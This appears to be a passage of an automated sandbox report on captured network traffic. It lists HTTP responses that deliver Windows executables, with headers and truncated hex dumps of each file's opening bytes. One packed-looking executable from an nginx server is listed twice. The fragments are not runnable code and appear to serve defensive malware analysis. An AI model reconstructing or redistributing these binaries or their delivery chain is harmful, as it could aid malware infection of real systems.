Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 20:21:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 20:21:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 20:21:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 20:21:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 20:21:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:21:44 GMTContent-Type: application/octet-streamContent-Length: 3272192Last-Modified: Tue, 12 Nov 2024 20:09:03 GMTConnection: keep-aliveETag: "6733b5df-31ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 32 00 00 04 00 00 e8 86 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e0 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 62 6f 6a 70 6e 76 61 00 40 2b 00 00 b0 06 00 00 32 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 71 76 6c 7a 6d 61 00 10 00 00 00 f0 31 00 00 06 00 00 00 c6 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 32 00 00 22 00 00 00 cc 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:21:44 GMTContent-Type: application/octet-streamContent-Length: 3272192Last-Modified: Tue, 12 Nov 2024 20:09:03 GMTConnection: keep-aliveETag: "6733b5df-31ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 32 00 00 04 00 00 e8 86 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e0 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 62 6f 6a 70 6e 76 61 00 40 2b 00 00 b0 06 00 00 32 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 71 76 6c 7a 6d 61 00 10 00 00 00 f0 31 00 00 06 00 00 00 c6 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 32 00 00 22 00 00 00 cc 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
